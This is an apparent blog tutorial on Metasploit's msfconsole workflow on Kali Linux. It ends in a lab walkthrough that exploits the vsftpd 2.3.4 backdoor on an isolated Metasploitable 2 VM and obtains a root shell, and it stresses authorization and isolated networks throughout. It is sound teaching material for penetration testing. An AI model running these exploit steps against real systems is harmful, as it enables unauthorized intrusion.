Metasploit Tutorial on Kali Linux

Tested on Kali GNU/Linux Rolling (kali-rolling)
Package metasploit-framework 6.4.135-0kali1
postgresql 18+290
nmap 7.99
Applies to Kali Linux
Privilege sudo or root for database setup and package updates
Scope msfdb init, msfconsole module workflow, workspaces, db_nmap imports, session handling, and a controlled Metasploitable 2 lab walkthrough. Does not cover msfvenom payload crafting, persistence, pivoting, evasion, or public targets.
Related guides Reverse shell cheat sheet
Pentest lab setup

Metasploit groups exploits, scanners, and post-exploitation tools into loadable modules you drive from msfconsole. This tutorial walks through that console on Kali Linux: initialize the database, search and evaluate modules, import scan results, run one controlled Metasploitable 2 lab, and manage the resulting session.

IMPORTANT
Use Metasploit only on systems and networks you own or have written permission to test. Run Kali and Metasploitable on a host-only or internal virtual network, take a snapshot of the target before each lab, and never point modules at addresses on the public Internet.

What is Metasploit

Metasploit organizes offensive security work into modules. You load one module at a time in msfconsole, set its options, and run it against targets you are allowed to test.

Module type Purpose
Auxiliary Scanning, enumeration, fuzzing, and supporting actions that do not deliver a payload
Exploit Triggers a specific vulnerability to gain access
Payload Code executed after successful exploitation
Post Actions against an existing session (file access, privilege checks, cleanup)
Encoder / NOP Transform payloads or pad shellcode during exploit development

On current Kali releases the primary interface is msfconsole. Legacy tools such as msfcli and msfweb are retired. Graphical front ends like Armitage may still exist in some distributions, but they are not part of the day-to-day workflow this guide follows.


Prepare an isolated lab

You need two virtual machines on the same isolated segment:

  • Kali Linux as the attacker workstation (where you run msfconsole)
  • Metasploitable 2 as the intentionally vulnerable target

Connect both VMs to a host-only or internal network in VirtualBox or VMware. Snapshot the target VM before each exercise so you can roll back after an exploit changes the system.

Confirm the target address from Kali. Replace TARGET below with the IP your hypervisor assigned (host-only labs often use 192.168.56.101). Use KALI_IP for your Kali address on the same segment (often 192.168.56.100):

bash
ping -c 2 TARGET

Sample output:

output
PING 192.168.56.101 (192.168.56.101) 56(84) bytes of data.
64 bytes from 192.168.56.101: icmp_seq=1 ttl=64 time=0.4 ms
64 bytes from 192.168.56.101: icmp_seq=2 ttl=64 time=0.3 ms

--- 192.168.56.101 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms

A quick port scan confirms the FTP service you will match to a module later:

bash
nmap -sV -p 21 TARGET

Sample output:

output
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4

On a default Metasploitable 2 install the FTP banner includes vsFTPd 2.3.4. If the banner shows a newer version, restore the VM snapshot or pick a different service that matches an available module.


Initialize the Metasploit database

The PostgreSQL-backed database stores hosts, services, notes, imported scan results, and workspace boundaries. Initialize it once per Kali install:

bash
sudo msfdb init

Sample output:

output
[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema

Confirm PostgreSQL is listening before you open the console:

bash
sudo msfdb status

The status command should list a postgres process bound to localhost:5432 and report that /usr/share/metasploit-framework/config/database.yml exists.

Start msfconsole in quiet mode to skip the ASCII banner during scripts:

bash
msfconsole -q

Inside the console, verify the database connection:

text
db_status

Sample output:

output
[*] Connected to msf. Connection type: postgresql.

When db_status reports connected, Metasploit can persist db_nmap results, track hosts and services, and separate lab projects into workspaces.


Metasploit msfconsole command workflow

A common exploit-module workflow is:

text
search → info → use → show options → set RHOSTS → check → run → sessions

Auxiliary modules may skip check, do not need a payload, or never open a session. Learn the sequence on a harmless scanner before you load an exploit.

Step What it does
search Find modules by keyword, type, platform, or CVE
info Read description, rank, references, and whether check is supported
use Load the module and change the prompt
show options List required and optional settings
set RHOSTS Point the module at your lab target (use RHOST if show options lists that name instead)
check Ask the module whether the target looks vulnerable (when supported)
run Execute the module
sessions List and interact with open shells

Practice with an SSH version scanner

The SSH version auxiliary module only reads a banner. Run it against your Metasploitable VM to practice the workflow on the same TARGET you will exploit later.

Search for the scanner:

text
search ssh_version

Pick the scanner from the results:

text
use auxiliary/scanner/ssh/ssh_version

Review required options:

text
show options

Point it at Metasploitable and run it:

text
set RHOSTS TARGET
run

Sample output:

output
[*] 192.168.56.101 - SSH server version: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
[*] 192.168.56.101 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

The version line is what you compare against module descriptions before you run an exploit. Return to the global prompt with back when you finish with a module.


Search and evaluate modules

Metasploit search accepts several filters. Combine them to narrow large result sets:

text
search type:auxiliary platform:linux ftp
search type:exploit name:vsftpd
search cve:2011-2523

search type:auxiliary name:ftp_version may return no rows on Metasploit 6.x even though the module exists. When that happens, search by keyword (search ftp_version) or load the full path with use auxiliary/scanner/ftp/ftp_version.

After you pick a module, read the metadata before you set options:

text
info exploit/unix/ftp/vsftpd_234_backdoor

Sample output:

output
Name: VSFTPD 2.3.4 Backdoor Command Execution
     Module: exploit/unix/ftp/vsftpd_234_backdoor
   Platform: Unix, Linux
       Rank: Excellent
  Disclosed: 2011-07-03
Check supported: Yes

Confirm these items before you run anything against a lab target:

  • Product name and exact version from your scan
  • Target platform matches the module (Linux, Windows, Unix, and so on)
  • CVE or reference IDs align with what you observed
  • Required options from show options are set
  • Module rank in info (Excellent, Great, Normal, and so on) describes expected exploit reliability and service-crash risk, not whether the host is vulnerable
  • Whether check is supported (shown in info)

List compatible payloads and platform targets when an exploit needs them:

text
show targets
show payloads

For vsftpd_234_backdoor, the exploit connects to the backdoor bind shell on target TCP port 6200. Use the cmd/unix/interact payload to work with that shell directly instead of a reverse listener.


Use workspaces and import scan results

Workspaces partition database contents per project. Create one for your Metasploitable lab:

text
workspace
workspace -a metasploitable-lab

Import an Nmap service scan directly into the database. This section covers only the Metasploit integration, not a full Nmap tutorial:

text
db_nmap -sV -p 21,22,80 TARGET

Replace TARGET with your Metasploitable IP. The command runs Nmap and stores hosts and services automatically.

Query what landed in the database:

text
hosts
services

Sample services output:

output
host            port  proto  name  state   info
----            ----  -----  ----  -----   ----
192.168.56.101  21    tcp    ftp   open    vsFTPd 2.3.4
192.168.56.101  22    tcp    ssh   open    OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0
192.168.56.101  80    tcp    http  open    Apache httpd 2.2.8

List recorded vulnerabilities when a module or import adds them:

text
vulns

Switch back to the default workspace with workspace default when you finish a lab.


Run a controlled Metasploitable 2 lab

This section walks through one well-documented Metasploitable service (FTP on port 21) without turning the page into a vulnerability deep dive. The goal is the Metasploit workflow, not memorizing a single CVE.

Match the service version to a module

Enumerate FTP with the auxiliary scanner:

text
use auxiliary/scanner/ftp/ftp_version
set RHOSTS TARGET
run

On Metasploitable 2 you should see a banner similar to 220 (vsFTPd 2.3.4). If the banner shows a different release, restore the snapshot or choose a different service.

Search for a matching exploit:

text
search type:exploit platform:linux vsftpd

Load the module and read its requirements:

text
use exploit/unix/ftp/vsftpd_234_backdoor
info
show options

Set the target address:

text
set RHOSTS TARGET

Run the check step when the module supports it:

text
check

Sample output:

output
[+] TARGET:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present

The service banner and FTP response match the vulnerable build, but only a successful run confirms that the backdoor listener on TCP port 6200 can be reached. A clean vsFTPd 2.3.4 install without the trojaned archive can still pass check.

Configure the interact payload

This exploit spawns a command shell on the target at TCP port 6200. Select the payload that attaches to that existing shell instead of starting a reverse listener:

text
set payload cmd/unix/interact
show options

Confirm RHOSTS and RPORT are set. You do not need LHOST or LPORT for this lab.

Execute and verify the session

Run the exploit in the background so Metasploit does not drop you straight into the new shell. A normal run with cmd/unix/interact attaches to the session immediately, so the next sessions -l would be typed at the target prompt instead of msf6 >.

text
run -z

Sample output (abbreviated; your Kali IP and ephemeral source port will differ):

output
[+] TARGET:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
[*] TARGET:21 - FTP banner hints its vulnerable: 220 (vsFTPd 2.3.4)
[+] TARGET:21 - Backdoor has been spawned!
[*] Command shell session 1 opened (KALI_IP:38412 -> TARGET:6200) at 2026-07-31 18:15:32 +0000

The run -z flag keeps you at the msfconsole prompt. List sessions:

text
sessions -l

Sample output:

output
Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix  KALI_IP:38412 -> TARGET:6200

Attach using the ID from that table:

text
sessions -i <id>

Run a harmless verification command:

text
id

Sample output:

output
uid=0(root) gid=0(root)

Return to msfconsole without closing the shell. Press Ctrl+Z, then answer y when Metasploit asks whether to background the session:

output
Background session 1? [y/N]  y

Confirm the session is still listed:

text
sessions -l

Close the lab cleanly. Reattach with sessions -i <id> and type exit or press Ctrl+D from the shell rather than installing persistence or modifying startup scripts. Restore the Metasploitable snapshot before the next exercise.


Manage sessions

Sessions are the active connections Metasploit keeps after a successful exploit or auxiliary action that spawns a shell.

Command Purpose
sessions -l List session IDs, types, and target addresses
sessions -i <id> Attach to a session
Ctrl+Z, then y Background a basic command shell and return to msfconsole
jobs List background modules still running
jobs -k <id> Stop a background job by ID

When no exploit has run yet, sessions -l reports no active sessions:

output
Active sessions
===============

No active sessions.

Command shell sessions behave like a remote terminal: each command you type runs on the target and prints text back. Use Ctrl+Z to background a command shell; the background command is for Meterpreter sessions. Meterpreter adds a richer command set for file transfer and system inspection. This tutorial stops at basic command shells; pivoting, credential harvesting, and persistence are out of scope.


Save reusable settings

Repeated lab setup is easier when you store defaults and replay them with a resource script.

Command Purpose
set OPTION value Set an option for the active module only
setg OPTION value Set a global default that persists across modules
getg OPTION Show a global setting
unset OPTION Clear a module option
save Write the active datastore to ~/.msf4/config

Save your current module options:

text
save

Sample output:

output
Saved configuration to: /home/kali/.msf4/config

The path expands from your login name when you run msfconsole as a normal user.

A short resource script can initialize the workspace and run enumeration when you start a lab:

text
workspace -a metasploitable-lab
db_status
use auxiliary/scanner/ftp/ftp_version
set RHOSTS 192.168.56.101
run

Save that block as ~/metasploitable-lab.rc and replay it:

bash
msfconsole -q -r ~/metasploitable-lab.rc

Metasploit also keeps command history inside the console. Type history to review recent commands. When you finish a lab, clear saved defaults you no longer need with unsetg or edit ~/.msf4/config.


Update Metasploit on Kali

Kali distributes Metasploit as the metasploit-framework package. Refresh the index and upgrade:

bash
sudo apt update
bash
sudo apt install metasploit-framework

Confirm the installed build:

bash
msfconsole --version

Sample output:

output
Framework Version: 6.4.135-dev

Do not run msfupdate on Kali. That script targets standalone Rapid7 installations outside the distribution package manager and can conflict with apt-managed files.


Troubleshooting

Symptom Likely cause Fix
msfconsole: command not found Metasploit package not installed sudo apt install metasploit-framework
db_status reports not connected Database never initialized or PostgreSQL stopped sudo msfdb init, then sudo msfdb status
PostgreSQL not running Service disabled after reboot sudo msfdb init or start PostgreSQL with sudo systemctl start postgresql
search returns no rows Filter too narrow or module renamed Broaden the query (search vsftpd) or use the full module path
Module reports no target RHOSTS or RHOST unset or wrong show options, then set the target option name exactly as listed
You set RHOST but nothing happens Option name mismatch Use the name from show options (RHOST or RHOSTS)
Exploit finishes with no session Backdoor port 6200 blocked, target already exploited, or trojaned build absent Run check when supported; if port 6200 is already open the module reports Unknown, not vulnerable. Restore the Metasploitable snapshot
check passes but run fails Banner matches 2.3.4 but the trojaned archive is not installed Compare banner to module info; restore the Metasploitable snapshot
Scanner finds no open ports VM network isolation or wrong IP Verify both VMs share the same host-only network and ping TARGET succeeds

References


Summary

Metasploit on Kali Linux centers on msfconsole and a repeatable module workflow. You initialize the database with msfdb init, search and evaluate modules with info and show options, store scan data in workspaces, and manage resulting shells through sessions. The Metasploitable 2 FTP example shows how banner version, module rank, and check output fit together before you run an exploit with cmd/unix/interact.

The details that trip up beginners are usually version matching, not syntax. Set the target option name from show options, confirm the vsFTPd 2.3.4 banner on TARGET, and remember that check only validates the banner and FTP response. A successful run that opens a session on port 6200 is the proof the backdoor is reachable. Restore VM snapshots between labs so service versions stay predictable.

For a full vulnerable target setup, continue with the Metasploitable lab guide and service-specific walkthroughs in Learn hacking using Metasploitable 2. Keep practice on private lab networks with explicit authorization.


Frequently Asked Questions

1. Do I need msfdb init before using msfconsole?

You can run modules without the database, but msfdb init enables hosts, services, workspaces, and db_nmap imports. Initialize it once on Kali with sudo msfdb init, then confirm with db_status inside msfconsole.

2. What is the difference between RHOST and RHOSTS in Metasploit?

Modules may expose either RHOST or RHOSTS depending on age and type. Run show options on the loaded module and set the exact name it lists, even when you are targeting a single host.

3. Should I run msfupdate on Kali Linux?

No. Kali ships metasploit-framework as an apt package. Update with sudo apt update and sudo apt install metasploit-framework. msfupdate is for standalone Rapid7 installs outside the distro package.

4. What is the difference between a command shell and Meterpreter?

A command shell session runs individual shell commands on the target and prints text back. Meterpreter is an advanced agent with built-in post-exploitation commands. This tutorial stays with basic command shells in an authorized lab.

5. Can I use Metasploit without Metasploitable 2?

Yes. The search, info, use, show options, check when supported by the selected module, and workspace workflow works against any lab target you own. Metasploitable 2 is only the example vulnerable VM in the exploit section.
Deepak Prasad

R&D Engineer

Founder of GoLinuxCloud with more than 15 years of expertise in Linux, Python, Go, Laravel, DevOps, Kubernetes, Git, Shell scripting, OpenShift, AWS, Networking, and Security. With extensive experience, he excels across development, DevOps, networking, and security, delivering robust and efficient solutions for diverse projects.

  • Go (programming language)
  • Python (programming language)
  • DevOps
  • Computer Security
  • Cloud Computing
  • Kubernetes
  • Linux
  • Ansible (software)